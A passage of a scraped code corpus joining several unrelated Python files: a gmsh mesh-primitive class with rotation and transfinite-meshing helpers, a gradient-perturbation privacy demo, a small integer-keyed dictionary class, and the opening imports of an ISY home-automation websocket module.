- origin of rotation\n - | RDX, RDY, RDZ - direction of rotation\n - | RA - angle of rotation\n - | P0_M, P1_M, ..., P7_M - masks of points (0 - do transformation, 1 - do not)\n curve_types (list of int):\n [C0_TYPE, C1_TYPE, ..., C11_TYPE],\n\n | TYPE:\n - | 0 - line,\n - | 1 - circle,\n - | 2 - ellipse (FIXME not implemented for occ factory),\n - | 3 - spline,\n - | 4 - bspline (number of curve points > 1),\n - | 5 - bezier curve\n curve_data (list of list of list of float):\n [[[line1_point1_x, line1_point1_y, line1_point1_z, line1_point1_lc],\n ...], ..., [[line_12..., ...], ...]]] or\n [[[line1_point1_x, line1_point1_y, line1_point1_z], ...],\n ..., [[line_12_point_1, ...], ...]]]\n transfinite_data (list of list of float):\n [[line1 number of nodes, type, coefficient], ..., [line12 ...]]\n or [[x_lines number of nodes, type, coefficient], [y_lines ...],\n [z_lines ...]]\n types: 0 - progression, 1 - bump\n transfinite_type (int): 0, 1, 2 or 4 determines orientation\n of surfaces' tetrahedra at structured volume\n volume_name (str): primitive's volumes physical name\n inner_volumes (list of int): inner volumes,\n no effect at 'occ' factory, if point_data is None wrap these volumes\n as Primitive.volumes\n surfaces_names (list of str): names of boundary surfaces in order:\n NX, X, NY, Y, NZ, Z.\n rec (int): Recombine Primitive?\n trans (int): Transfinite Primitive?\n \"\"\"\n\n def __init__(self, factory, point_data=None, transform_data=None,\n curve_types=None, curve_data=None,\n transfinite_data=None, transfinite_type=None,\n volume_name=None, inner_volumes=None, surfaces_names=None,\n in_surfaces_names=None, in_surfaces_mask=None,\n rec=None, trans=None, boolean_level=None):\n t00 = time.perf_counter()\n if factory == 'occ':\n self.factory = gmsh.model.occ\n else:\n self.factory = gmsh.model.geo\n if transfinite_data is not None:\n if len(transfinite_data) == 3:\n self.transfinite_data = list()\n self.transfinite_data.extend([transfinite_data[0]] * 4)\n self.transfinite_data.extend([transfinite_data[1]] * 4)\n self.transfinite_data.extend([transfinite_data[2]] * 4)\n else:\n self.transfinite_data = transfinite_data\n else:\n self.transfinite_data = transfinite_data\n self.volume_name = volume_name if volume_name is not None else 'V'\n if surfaces_names is None:\n self.surfaces_names = ['NX', 'X', 'NY', 'Y', 'NZ', 'Z']\n elif isinstance(surfaces_names, str):\n self.surfaces_names = [surfaces_names for _ in range(6)]\n else:\n self.surfaces_names = surfaces_names\n if in_surfaces_names is None:\n self.in_surfaces_names = ['NXI', 'XI', 'NYI', 'YI', 'NZI', 'ZI']\n elif isinstance(in_surfaces_names, str):\n self.in_surfaces_names = [in_surfaces_names for _ in range(6)]\n else:\n self.in_surfaces_names = in_surfaces_names\n if in_surfaces_mask is None:\n self.in_surf_mask = np.zeros(6)\n elif isinstance(in_surfaces_mask, int):\n self.in_surf_mask = [in_surfaces_mask for _ in range(6)]\n else:\n self.in_surf_mask = in_surfaces_mask\n self.transfinite_type = transfinite_type if transfinite_type is not None else 0\n self.rec = rec if rec is not None else 1\n self.trans = trans if trans is not None else 1\n self.points = list()\n self.curves_points = list()\n self.curves = list()\n self.surfaces = list()\n self.volumes = list()\n self.points_coordinates = list()\n self.curves_points_coordinates = list()\n self.bounding_box = None\n self.coordinates_evaluated = False\n self.boolean_level = boolean_level if boolean_level is not None else 0\n if transform_data is None:\n transform_data = []\n elif isinstance(transform_data, list):\n if len(transform_data) > 0:\n if isinstance(transform_data[0], list):\n new_transform_data = []\n for td in transform_data:\n if isinstance(td[0], list):\n new_transform_data.append([np.array(td[0], dtype=float),\n np.array(td[1], dtype=int)])\n else:\n new_transform_data.append([np.array(td, dtype=float),\n np.zeros(8, dtype=int)])\n transform_data = new_transform_data\n else:\n raise ValueError(f'invalid transform_data: {transform_data}')\n else:\n raise ValueError(f'invalid transform_data: {transform_data}')\n if curve_types is None:\n curve_types = np.zeros(12)\n if curve_data is None:\n curve_data = [[] for _ in range(12)]\n curve_data = [np.array(x, dtype=float) for x in curve_data]\n if point_data is not None:\n if len(point_data) == 3:\n half_lx = point_data[0] / 2.0\n half_ly = point_data[1] / 2.0\n half_lz = point_data[2] / 2.0\n lc = 1.\n point_data = np.array([\n [half_lx, half_ly, -half_lz, lc],\n [-half_lx, half_ly, -half_lz, lc],\n [-half_lx, -half_ly, -half_lz, lc],\n [half_lx, -half_ly, -half_lz, lc],\n [half_lx, half_ly, half_lz, lc],\n [-half_lx, half_ly, half_lz, lc],\n [-half_lx, -half_ly, half_lz, lc],\n [half_lx, -half_ly, half_lz, lc]\n ], dtype=float)\n elif len(point_data) == 4:\n half_lx = point_data[0] / 2.0\n half_ly = point_data[1] / 2.0\n half_lz = point_data[2] / 2.0\n lc = point_data[3]\n point_data = np.array([\n [half_lx, half_ly, -half_lz, lc],\n [-half_lx, half_ly, -half_lz, lc],\n [-half_lx, -half_ly, -half_lz, lc],\n [half_lx, -half_ly, -half_lz, lc],\n [half_lx, half_ly, half_lz, lc],\n [-half_lx, half_ly, half_lz, lc],\n [-half_lx, -half_ly, half_lz, lc],\n [half_lx, -half_ly, half_lz, lc]\n ], dtype=float)\n else:\n point_data = np.array(point_data, dtype=float)\n # Points\n # t0 = time.time()\n for td in transform_data:\n d, m = td\n mask = np.array([[x for _ in range(3)]\n for x in m], dtype=int)\n point_data[:, :3] = transform(point_data[:, :3], d, mask)\n # print(point_data)\n for d in point_data:\n d[0] = round(d[0], registry.point_tol)\n d[1] = round(d[1], registry.point_tol)\n d[2] = round(d[2], registry.point_tol)\n cs = tuple(d[:3]) # x, y and z coordinates\n # print(cs)\n tag = registry.coord_point_map.get(cs, None)\n if tag is None:\n tag = self.factory.addPoint(*d)\n registry.coord_point_map[cs] = tag\n else:\n pass\n # print(tag, cs, len(registry.coord_point_map), 'point')\n self.points.append(tag)\n # print(f'points: {time.time() - t0}')\n # Curves points\n # t0 = time.time()\n for td in transform_data:\n d, m = td\n for i in range(len(curve_data)):\n if len(curve_data[i]) > 0:\n lps = self.curves_local_points[i]\n mask = np.array([[m[lps[0]] * m[lps[1]]\n for _ in range(3)]\n for _ in range(curve_data[i].shape[0])], dtype=int)\n curve_data[i][:, :3] = transform(curve_data[i][:, :3],\n d, mask)\n # logging.debug(f'curve_data: {curve_data}')\n for i in range(len(curve_data)):\n ps = list()\n for j in range(len(curve_data[i])):\n curve_data[i][j][0] = round(curve_data[i][j][0],\n registry.point_tol)\n curve_data[i][j][1] = round(curve_data[i][j][1],\n registry.point_tol)\n curve_data[i][j][2] = round(curve_data[i][j][2],\n registry.point_tol)\n cs = tuple(curve_data[i][j][:3]) # x, y and z coordinates\n # print(cs)\n tag = registry.coord_point_map.get(cs, None)\n if tag is None:\n tag = self.factory.addPoint(*curve_data[i][j])\n registry.coord_point_map[cs] = tag\n else:\n pass\n # print(tag, len(registry.coord_point_map), 'curve_point')\n ps.append(tag)\n # print(ps, registry.coord_point_map)\n self.curves_points.append(ps)\n # print(self.points)\n # print(self.curves_points)\n # print(f'curves points: {time.time() - t0}')\n # Curves\n # t0 = time.time()\n for i in range(12):\n # FIXME Workaround for OCC factory\n ct = [curve_types[i]]\n if ct[0] == 0:\n ps = [self.points[self.curves_local_points[i][0]],\n self.points[self.curves_local_points[i][1]]]\n else:\n ps = [self.points[self.curves_local_points[i][0]]] + \\\n self.curves_points[i] + \\\n [self.points[self.curves_local_points[i][1]]]\n psr = list(reversed(ps))\n # print(ct)\n # print(ps)\n # print(psr)\n cs1 = tuple(ct + ps)\n cs2 = tuple(ct + psr)\n # print(ct, ps)\n # print(cs2)\n tag = registry.curves.get(cs1, None)\n if tag is None:\n if self.factory != gmsh.model.occ:\n tag = self.add_curve[curve_types[i]](self, i)\n else:\n tag = self.add_curve[curve_types[i] + 6](self, i)\n registry.curves[cs1] = tag\n registry.curves[cs2] = -tag\n else:\n pass\n # print(tag, cs1, len(registry.curves), 'curve')\n self.curves.append(tag)\n # pprint(registry.curves)\n # print('curves: {}'.format(len(registry.curves)))\n # print(f'curves: {time.time() - t0}')\n # Surfaces\n # t0 = time.time()\n for i in range(6):\n cs = list(map(lambda x, y: y * self.curves[x],\n self.surfaces_local_curves[i],\n self.surfaces_local_curves_signs[i]))\n # print(cs)\n deq = deque(cs)\n # print(deq)\n css = []\n for _ in range(len(deq)):\n deq.rotate(1)\n css.append(tuple(deq))\n deqr = deque([-1 * x for x in reversed(cs)])\n for _ in range(len(deqr)):\n deqr.rotate(1)\n css.append(tuple(deqr))\n # print(css)\n tag = None\n for c in css:\n tag = registry.surfaces.get(c, None)\n if tag is not None:\n break\n # t00 = time.time()\n if tag is None:\n if self.factory == gmsh.model.geo:\n tag = self.factory.addCurveLoop(\n list(map(lambda x, y: y * self.curves[x],\n self.surfaces_local_curves[i],\n self.surfaces_local_curves_signs[i])))\n tag = self.factory.addSurfaceFilling([tag])\n else:\n tag = self.factory.addCurveLoop(\n list(map(lambda x: self.curves[x],\n self.surfaces_local_curves[i])))\n tag = self.factory.addSurfaceFilling(tag)\n for c in css:\n registry.surfaces[c] = tag\n else:\n pass\n # print(set(registry.surfaces.values()))\n # print(tag, css, len(registry.surfaces), 'surface')\n self.surfaces.append(tag)\n # print(f'surfaces2: {time.time() - t00}')\n # print('surfaces: {}'.format(len(registry.curves)))\n # print(len(self.surfaces))\n # print(f'surfaces: {time.time() - t0}')\n # Volume\n # t0 = time.time()\n if inner_volumes is None:\n # FIXME bug always return surface loop tag = -1\n # Workaround with registry surface_loop_tag\n if self.factory == gmsh.model.occ:\n registry.surface_loop_tag += 1\n sl_tag = self.factory.addSurfaceLoop(\n self.surfaces, registry.surface_loop_tag)\n else:\n sl_tag = self.factory.addSurfaceLoop(self.surfaces)\n tag = self.factory.addVolume([sl_tag])\n registry.volumes[tag] = self.surfaces\n else:\n gs = volumes_groups_surfaces_registry(inner_volumes,\n registry.volumes)\n if self.factory == gmsh.model.occ:\n # FIXME bug always return surface loop tag = -1\n # Workaround with registry surface_loop_tag\n registry.surface_loop_tag += 1\n out_sl = self.factory.addSurfaceLoop(\n self.surfaces, registry.surface_loop_tag)\n in_sls = []\n for g in gs:\n registry.surface_loop_tag += 1\n in_sls.append(self.factory.addSurfaceLoop(\n g, registry.surface_loop_tag))\n else:\n out_sl = self.factory.addSurfaceLoop(self.surfaces)\n in_sls = [self.factory.addSurfaceLoop(x) for x in gs]\n tag = self.factory.addVolume([out_sl] + in_sls)\n registry.volumes[tag] = self.surfaces + list(itertools.chain.from_iterable(gs))\n self.volumes.append(tag)\n # print(f'volumes: {time.time() - t0}')\n else:\n if inner_volumes is not None:\n self.volumes = inner_volumes\n # logging.debug(f'Primitive: {time.perf_counter() - t00:.3f}s')\n\n def recombine(self):\n if self.rec:\n volumes_dim_tags = [(3, x) for x in self.volumes]\n surfaces_dim_tags = gmsh.model.getBoundary(volumes_dim_tags,\n combined=False)\n for dt in surfaces_dim_tags:\n gmsh.model.mesh.setRecombine(dt[0], dt[1])\n # if self.factory == gmsh.model.occ:\n # gmsh.model.mesh.setRecombine(dt[0], dt[1])\n # else:\n # self.factory.mesh.setRecombine(dt[0], dt[1])\n\n def smooth(self, dim, n):\n \"\"\"\n Smooth mesh. Currently works only with dim == 2\n :param dim: Dimension\n :param n: Number of smooth iterations\n \"\"\"\n if dim == 1:\n volumes_dim_tags = [(3, x) for x in self.volumes]\n surfaces_dim_tags = gmsh.model.getBoundary(volumes_dim_tags,\n combined=False)\n curves_dim_tags = gmsh.model.getBoundary(surfaces_dim_tags,\n combined=False)\n for dt in curves_dim_tags:\n gmsh.model.mesh.setSmoothing(dim, dt[1], n)\n elif dim == 2:\n volumes_dim_tags = [(3, x) for x in self.volumes]\n surfaces_dim_tags = gmsh.model.getBoundary(volumes_dim_tags,\n combined=False)\n for dt in surfaces_dim_tags:\n gmsh.model.mesh.setSmoothing(dim, dt[1], n)\n elif dim == 3:\n for v in self.volumes:\n gmsh.model.mesh.setSmoothing(dim, v, n)\n\n def transfinite(self, transfinited_surfaces, transfinited_curves):\n \"\"\"\n Transfinite primitive\n :param transfinited_surfaces: set() of already transfinite surfaces\n (workaround for double transfinite issue)\n :param transfinited_curves: set() of already transfinite curves\n (workaround for double transfinite issue)\n \"\"\"\n if self.trans:\n result = False\n # Check\n check = False\n # print(len(self.volumes))\n if len(self.volumes) == 1: # First\n volumes_dim_tags = [(3, x) for x in self.volumes]\n surfaces_dim_tags = gmsh.model.getBoundary(volumes_dim_tags,\n combined=False)\n if len(surfaces_dim_tags) == 6: # Second\n points_dim_tags = gmsh.model.getBoundary(volumes_dim_tags,\n combined=False,\n recursive=True)\n if len(points_dim_tags) == 8: # Third\n surfaces_points = []\n for dim_tag in surfaces_dim_tags:\n points_dim_tags = gmsh.model.getBoundary(\n [(dim_tag[0], dim_tag[1])], combined=False,\n recursive=True)\n surfaces_points.append(\n list(map(lambda x: x[1], points_dim_tags)))\n is_4_points = True\n for surface_points in surfaces_points:\n if len(surface_points) != 4: # Fourth\n is_4_points = False\n break\n if is_4_points:\n check = True\n # Transfinite\n if check:\n if self.transfinite_type == 0:\n transfinite_surface_data = [1, 1, 1, 1, 1, 1]\n transfinite_volume_data = [0]\n elif self.transfinite_type == 1:\n transfinite_surface_data = [1, 1, 0, 0, 0, 0]\n transfinite_volume_data = [1]\n elif self.transfinite_type == 2:\n transfinite_surface_data = [0, 0, 0, 0, 1, 1]\n transfinite_volume_data = [2]\n elif self.transfinite_type == 3:\n transfinite_surface_data = [0, 0, 1, 1, 0, 0]\n transfinite_volume_data = [3]\n else:\n transfinite_surface_data = None\n transfinite_volume_data = None\n if self.transfinite_data is not None:\n for i, c in enumerate(self.curves):\n if abs(c) not in transfinited_curves:\n transfinite_type = self.transfinite_data[i][1]\n # # FIXME Workaround for GEO factory\n # if self.factory != gmsh.model.geo:\n # transfinite_type = self.transfinite_data[i][1]\n # else:\n # transfinite_type = self.transfinite_data[i][\n # 1] + 2\n self.transfinite_curve[transfinite_type](self, i)\n transfinited_curves.add(abs(c))\n if transfinite_surface_data is not None:\n for i, s in enumerate(self.surfaces):\n if s not in transfinited_surfaces:\n transfinite_type = transfinite_surface_data[i]\n # # FIXME Workaround for GEO factory\n # if self.factory != gmsh.model.geo:\n # transfinite_type = transfinite_surface_data[\n # i]\n # else:\n # transfinite_type = transfinite_surface_data[\n # i] + 4\n self.transfinite_surface[transfinite_type](self,\n i)\n transfinited_surfaces.add(s)\n if transfinite_volume_data is not None:\n for i in range(len(self.volumes)):\n transfinite_type = transfinite_volume_data[i]\n # FIXME Workaround for GEO factory\n # if self.factory != gmsh.model.geo:\n # transfinite_type = transfinite_volume_data[\n # i]\n # else:\n # transfinite_type = transfinite_volume_data[\n # i] + 4\n self.transfinite_volume[transfinite_type](self,\n i)\n result = True\n return result\n\n def evaluate_coordinates(self):\n if not self.coordinates_evaluated:\n for point in self.points:\n bb = gmsh.model.getBoundingBox(0, point)\n self.points_coordinates.append([bb[0], bb[1], bb[2]])\n for curve_points in self.curves_points:\n cs = []\n for point in curve_points:\n bb = gmsh.model.getBoundingBox(0, point)\n cs.append([bb[0], bb[1], bb[2]])\n self.curves_points_coordinates.append(cs)\n self.coordinates_evaluated = True\n\n def evaluate_bounding_box(self):\n if len(self.volumes) > 0:\n x_mins = []\n y_mins = []\n z_mins = []\n x_maxs = []\n y_maxs = []\n z_maxs = []\n volumes_dim_tags = [(3, x) for x in self.volumes]\n for dim_tag in volumes_dim_tags:\n x_min, y_min, z_min, x_max, y_max, z_max = \\\n gmsh.model.getBoundingBox(dim_tag[0], dim_tag[1])\n x_mins.append(x_min)\n y_mins.append(y_min)\n z_mins.append(z_min)\n x_maxs.append(x_max)\n y_maxs.append(y_max)\n z_maxs.append(z_max)\n self.bounding_box = (min(x_mins), min(y_mins), min(z_mins),\n max(x_maxs), max(y_maxs), max(z_maxs))\n else:\n self.bounding_box = (0, 0, 0, 0, 0, 0)\n\n def set_size(self, size):\n for v in self.volumes:\n volume_dim_tag = (3, v)\n points_dim_tags = gmsh.model.getBoundary([volume_dim_tag],\n combined=False,\n recursive=True)\n gmsh.model.mesh.setSize(points_dim_tags, size)\n\n def get_surfaces(self, combined=True):\n if len(self.surfaces) == 6: # unaffected Primitive\n return self.surfaces\n else: # Primitive after boolean\n volumes_dim_tags = [(3, x) for x in self.volumes]\n surfaces_dim_tags = gmsh.model.getBoundary(volumes_dim_tags,\n combined=combined)\n surfaces = [x[1] for x in surfaces_dim_tags]\n return surfaces\n\n curves_local_points = [\n [1, 0], [5, 4], [6, 7], [2, 3],\n [3, 0], [2, 1], [6, 5], [7, 4],\n [0, 4], [1, 5], [2, 6], [3, 7]\n ]\n\n surfaces_local_points = [\n [2, 6, 5, 1], # NX\n [3, 7, 4, 0], # X\n [2, 6, 7, 3], # NY\n [1, 5, 4, 0], # Y\n [3, 2, 1, 0], # NZ\n [7, 6, 5, 4], # Z\n ]\n\n surfaces_local_curves = [\n [5, 9, 6, 10], # NX\n [4, 11, 7, 8], # X\n # [3, 10, 2, 11], # NY\n [11, 2, 10, 3], # NY\n [0, 8, 1, 9], # Y\n [0, 5, 3, 4], # NZ\n [1, 7, 2, 6], # Z\n ]\n\n surfaces_local_curves_signs = [\n [1, 1, -1, -1], # NX\n [-1, 1, 1, -1], # X\n # [-1, 1, 1, -1], # NY\n [1, -1, -1, 1], # NY\n [1, 1, -1, -1], # Y\n [-1, -1, 1, 1], # NZ\n [1, -1, -1, 1], # Z\n ]\n\n transfinite_curve = {\n 0: lambda self, i: gmsh.model.mesh.setTransfiniteCurve(\n abs(self.curves[i]),\n self.transfinite_data[i][0],\n \"Progression\",\n self.transfinite_data[i][2] if self.curves[i] > 0 else 1/self.transfinite_data[i][2]\n ),\n 1: lambda self, i: gmsh.model.mesh.setTransfiniteCurve(\n abs(self.curves[i]),\n self.transfinite_data[i][0],\n \"Bump\",\n self.transfinite_data[i][2]\n ),\n # FIXME Workaround for GEO factory\n 2: lambda self, i: gmsh.model.mesh.setTransfiniteCurve(\n self.curves[i],\n self.transfinite_data[i][0],\n \"Progression\",\n self.transfinite_data[i][2]\n ),\n 3: lambda self, i: gmsh.model.mesh.setTransfiniteCurve(\n self.curves[i],\n self.transfinite_data[i][0],\n \"Bump\",\n self.transfinite_data[i][2]\n )\n }\n\n transfinite_surface = {\n 0: lambda self, i: gmsh.model.mesh.setTransfiniteSurface(\n self.surfaces[i],\n \"Left\",\n [self.points[x] for x in self.surfaces_local_points[i]]\n ),\n 1: lambda self, i: gmsh.model.mesh.setTransfiniteSurface(\n self.surfaces[i],\n \"Right\",\n [self.points[x] for x in self.surfaces_local_points[i]]\n ),\n 2: lambda self, i: gmsh.model.mesh.setTransfiniteSurface(\n self.surfaces[i],\n \"AlternateLeft\",\n [self.points[x] for x in self.surfaces_local_points[i]]\n ),\n 3: lambda self, i: gmsh.model.mesh.setTransfiniteSurface(\n self.surfaces[i],\n \"AlternateRight\",\n [self.points[x] for x in self.surfaces_local_points[i]]\n ),\n # FIXME Workaround for GEO factory\n 4: lambda self, i: gmsh.model.mesh.setTransfiniteSurface(\n self.surfaces[i],\n \"Left\",\n [self.points[x] for x in self.surfaces_local_points[i]]\n ),\n 5: lambda self, i: gmsh.model.mesh.setTransfiniteSurface(\n self.surfaces[i],\n \"Right\",\n [self.points[x] for x in self.surfaces_local_points[i]]\n ),\n 6: lambda self, i: gmsh.model.mesh.setTransfiniteSurface(\n self.surfaces[i],\n \"AlternateLeft\",\n [self.points[x] for x in self.surfaces_local_points[i]]\n ),\n 7: lambda self, i: gmsh.model.mesh.setTransfiniteSurface(\n self.surfaces[i],\n \"AlternateRight\",\n [self.points[x] for x in self.surfaces_local_points[i]]\n )\n }\n\n transfinite_volume = {\n 0: lambda self, i: gmsh.model.mesh.setTransfiniteVolume(\n self.volumes[i],\n [\n self.points[0], self.points[1], self.points[2], self.points[3],\n self.points[4], self.points[5], self.points[6], self.points[7]\n ]\n ),\n 1: lambda self, i: gmsh.model.mesh.setTransfiniteVolume(\n self.volumes[i],\n [\n self.points[1], self.points[2], self.points[3], self.points[0],\n self.points[5], self.points[6], self.points[7], self.points[4]\n ]\n ),\n 2: lambda self, i: gmsh.model.mesh.setTransfiniteVolume(\n self.volumes[i],\n [\n self.points[2], self.points[3], self.points[0], self.points[1],\n self.points[6], self.points[7], self.points[4], self.points[5]\n ]\n ),\n 3: lambda self, i: gmsh.model.mesh.setTransfiniteVolume(\n self.volumes[i],\n [\n self.points[3], self.points[0], self.points[1], self.points[2],\n self.points[7], self.points[4], self.points[5], self.points[6]\n ]\n ),\n # FIXME Workaround for GEO factory\n 4: lambda self, i: gmsh.model.mesh.setTransfiniteVolume(\n self.volumes[i],\n [\n self.points[0], self.points[1], self.points[2], self.points[3],\n self.points[4], self.points[5], self.points[6], self.points[7]\n ]\n ),\n 5: lambda self, i: gmsh.model.mesh.setTransfiniteVolume(\n self.volumes[i],\n [\n self.points[1], self.points[2], self.points[3], self.points[0],\n self.points[5], self.points[6], self.points[7], self.points[4]\n ]\n ),\n 6: lambda self, i: gmsh.model.mesh.setTransfiniteVolume(\n self.volumes[i],\n [\n self.points[2], self.points[3], self.points[0], self.points[1],\n self.points[6], self.points[7], self.points[4], self.points[5]\n ]\n ),\n 7: lambda self, i: gmsh.model.mesh.setTransfiniteVolume(\n self.volumes[i],\n [\n self.points[3], self.points[0], self.points[1], self.points[2],\n self.points[7], self.points[4], self.points[5], self.points[6]\n ]\n )\n }\n\n add_curve = {\n 0: lambda self, i: self.factory.addLine(\n self.points[self.curves_local_points[i][0]],\n self.points[self.curves_local_points[i][1]]\n ),\n 1: lambda self, i: self.factory.addCircleArc(\n self.points[self.curves_local_points[i][0]],\n self.curves_points[i][0],\n self.points[self.curves_local_points[i][1]]\n ),\n 2: lambda self, i: self.factory.addEllipseArc(\n self.points[self.curves_local_points[i][0]],\n self.curves_points[i][0],\n self.curves_points[i][1],\n self.points[self.curves_local_points[i][1]],\n ),\n 3: lambda self, i: self.factory.addSpline(\n [self.points[self.curves_local_points[i][0]]] +\n self.curves_points[i] +\n [self.points[self.curves_local_points[i][1]]]\n ),\n 4: lambda self, i: self.factory.addBSpline(\n [self.points[self.curves_local_points[i][0]]] +\n self.curves_points[i] +\n [self.points[self.curves_local_points[i][1]]]\n ),\n 5: lambda self, i: self.factory.addBezier(\n [self.points[self.curves_local_points[i][0]]] +\n self.curves_points[i] +\n [self.points[self.curves_local_points[i][1]]]\n ),\n 6: lambda self, i: self.factory.addLine(\n self.points[self.curves_local_points[i][0]],\n self.points[self.curves_local_points[i][1]]\n ),\n 7: lambda self, i: self.factory.addCircleArc(\n self.points[self.curves_local_points[i][0]],\n self.curves_points[i][0],\n self.points[self.curves_local_points[i][1]]\n ),\n # FIXME Workaround for OCC factory: addEllipseArc -> addCircleArc\n 8: lambda self, i: self.factory.addCircleArc(\n self.points[self.curves_local_points[i][0]],\n self.curves_points[i][0],\n self.points[self.curves_local_points[i][1]],\n ),\n 9: lambda self, i: self.factory.addSpline(\n [self.points[self.curves_local_points[i][0]]] +\n self.curves_points[i] +\n [self.points[self.curves_local_points[i][1]]]\n ),\n 10: lambda self, i: self.factory.addBSpline(\n [self.points[self.curves_local_points[i][0]]] +\n self.curves_points[i] +\n [self.points[self.curves_local_points[i][1]]]\n ),\n 11: lambda self, i: self.factory.addBezier(\n [self.points[self.curves_local_points[i][0]]] +\n self.curves_points[i] +\n [self.points[self.curves_local_points[i][1]]]\n )\n }\n\n\ndef rotation_matrix(axis, theta):\n \"\"\"\n Return the rotation matrix associated with counterclockwise rotation about\n the given axis by theta radians.\n \"\"\"\n axis = np.array(axis)\n axis = axis / np.sqrt(np.dot(axis, axis))\n a = np.cos(np.radians(theta / 2.0))\n b, c, d = -axis * np.sin(np.radians(theta / 2.0))\n aa, bb, cc, dd = a * a, b * b, c * c, d * d\n bc, ad, ac, ab, bd, cd = b * c, a * d, a * c, a * b, b * d, c * d\n return np.array([[aa + bb - cc - dd, 2 * (bc + ad), 2 * (bd - ac)],\n [2 * (bc - ad), aa + cc - bb - dd, 2 * (cd + ab)],\n [2 * (bd + ac), 2 * (cd - ab), aa + dd - bb - cc]])\n\n\ndef transform(ps, data, mask):\n mps = np.ma.array(ps, mask=mask)\n if len(data) == 7: # rotation around dir by angle relative to origin\n origin, direction, angle = data[:3], data[3:6], data[6]\n m = rotation_matrix(direction, angle)\n lps = mps - origin # local coordinates relative to origin\n mps = np.ma.dot(lps, m.T)\n mps = np.ma.add(mps, origin)\n elif len(data) == 4: # rotation about dir by angle relative to (0, 0, 0)\n direction, angle = data[:3], data[3]\n m = rotation_matrix(direction, angle)\n mps = np.ma.dot(mps, m.T)\n else: # displacement\n displacement = data[:3]\n mps = np.ma.add(mps, displacement)\n ps = mps.filled(ps)\n return ps\n","sub_path":"primitive.py","file_name":"primitive.py","file_ext":"py","file_size_in_byte":37635,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"35679393397","text":"import torch\nimport math\n\nfrom train import train_one_batch\nfrom data.dataloader import CIFAR10DataLoader as DataLoader\nimport model.LeNet as net\n\nfrom sensitivity import compute_sens\nfrom perturb import noise\nfrom compensate import denoise \n\n\n\n'''\n example: compensation w.r.t gradients.\n'''\n\n\ndevice = \"cuda\" if torch.cuda.is_available() else \"cpu\"\nprint(f\"Using {device} device\")\n\nrandom_seed = 1234\ntorch.manual_seed(random_seed)\n\naggregation_base = 10\naggregation_weight = []\nfor i in range(aggregation_base):\n aggregation_weight.append(1.0 / aggregation_base)\n\nQ = 6\nslices_num = 10\nperturb_slices_num = 5\nscale = 0.0005\n\n\n \ndef main():\n data_loader = DataLoader()\n model = net().to(device)\n \n # Compute layer-wise gradient sensitivity\n sensitivity = compute_sens(model = model,\n rootset_loader = data_loader.root_set_loader,\n device = device)\n \n gradients_pool = []\n perturbed_gradients_pool = []\n \n for grad_id in range(aggregation_base):\n # Compute gradients \n dy_dx = train_one_batch(model = model,\n train_loader = data_loader.train_set_loader, \n device = device)\n \n gradients_pool.append(dy_dx)\n \n # Slicing gradients and random perturbing \n perturbed_dy_dx = noise(dy_dx = dy_dx, \n sensitivity = sensitivity,\n slices_num = slices_num,\n perturb_slices_num = perturb_slices_num,\n scale = scale)\n \n perturbed_grads = []\n for layer in perturbed_dy_dx:\n layer = layer.to(device)\n perturbed_grads.append(layer)\n \n perturbed_gradients_pool.append(perturbed_grads)\n \n \n layers_num = len(gradients_pool[0])\n layer_dims_pool = []\n for layer_gradient in gradients_pool[0]: \n layer_dims = list((_ for _ in layer_gradient.shape))\n layer_dims_pool.append(layer_dims)\n \n #print(layers_num)\n #print(layer_dims_pool)\n \n \n _gradients = []\n _gradients_perturbed = []\n for layer_index in range(layers_num):\n gradients__ = torch.zeros(layer_dims_pool[layer_index]).to(device)\n for gradients_index in range(len(gradients_pool)):\n gradients__ += gradients_pool[gradients_index][layer_index] \\\n * aggregation_weight[gradients_index]\n _gradients.append(gradients__)\n \n perturbed_gradients__ = torch.zeros(layer_dims_pool[layer_index]).to(device)\n for gradients_index in range(len(perturbed_gradients_pool)):\n perturbed_gradients__ += perturbed_gradients_pool[gradients_index][layer_index] \\\n * aggregation_weight[gradients_index]\n _gradients_perturbed.append(perturbed_gradients__)\n \n \n _scale = 0\n for grad_id in range(aggregation_base):\n _scale += aggregation_base * perturb_slices_num / slices_num \\\n * (scale ** 2) * aggregation_weight[grad_id]\n \n \n # Compensate gradients\n gradients_compensated = denoise(gradients = _gradients_perturbed,\n scale = math.sqrt(_scale),\n Q = Q)\n \n \n for layer in range(len(gradients_compensated)):\n if layer <= 2: # Show diff F-norm \n print(gradients_compensated[layer].shape)\n layer_compensated = gradients_compensated[layer].to(device)\n print(torch.norm(layer_compensated - _gradients[layer]))\n print(torch.norm(_gradients_perturbed[layer] - _gradients[layer]))\n\n \n \nif __name__ == '__main__':\n main()\n","repo_name":"wangjunxiao/GradDefense","sub_path":"demo_compensate.py","file_name":"demo_compensate.py","file_ext":"py","file_size_in_byte":3771,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"11"} +{"seq_id":"40720254436","text":"\"\"\" A dictionary class that takes integer keys and numerical values\n and returns zero when a nonexistent key is accessed \"\"\"\n\nfrom numbers import Number\n\nclass zdict(dict):\n def __init__(self, *args):\n dict.__init__(self, args)\n \n def __getitem__(self,key):\n\n if isinstance(key,int):\n\n if key in dict.keys(self):\n val = dict.__getitem__(self, key)\n else:\n val = 0\n else:\n raise TypeError(\"Key must be integer type\") \n\n return val\n\n def __setitem__(self,key,value):\n\n if isinstance(key,int):\n if isinstance(value,Number):\n dict.__setitem__(self,key,value)\n else:\n raise TypeError(\"Value must be a number\") \n else:\n raise TypeError(\"Key must be integer type\") \n\n \n\n\nif __name__ == '__main__':\n\n z = zdict()\n z[1] = 1\n z[-1] = 1\n\n print(z)\n","repo_name":"gregvw/EPM-FCC-bulk","sub_path":"zdict.py","file_name":"zdict.py","file_ext":"py","file_size_in_byte":947,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"35471459087","text":"\"\"\"ISY Websocket Event Stream.\"\"\"\nimport asyncio\nimport logging\nimport xml\nfrom xml.dom import minidom\n\nimport aiohttp\n\nfrom ..connection import get_new_client_session, get_sslcontext\nfrom ..constants import (\n ACTION_KEY,\n ACTION_KEY_CHANGED,\n ATTR_ACTION,\n ATTR_CONTROL,\n ATTR_ID,\n ATTR_STREAM_ID,\n ATTR_VAR,\n ES_CONNECTED,\n ES_DISCONNECTED,\n ES_INITIALIZING,\n ES_LOST_STREAM_CONNECTION,\n ES_NOT_STARTED,\n ES_RECONNECTING,\n ES_STOP_UPDATES,\n PROP_STATUS,\n TAG_EVENT_INFO,\n TAG_NODE,\n)\nfrom ..helpers import attr_from_xml, now, 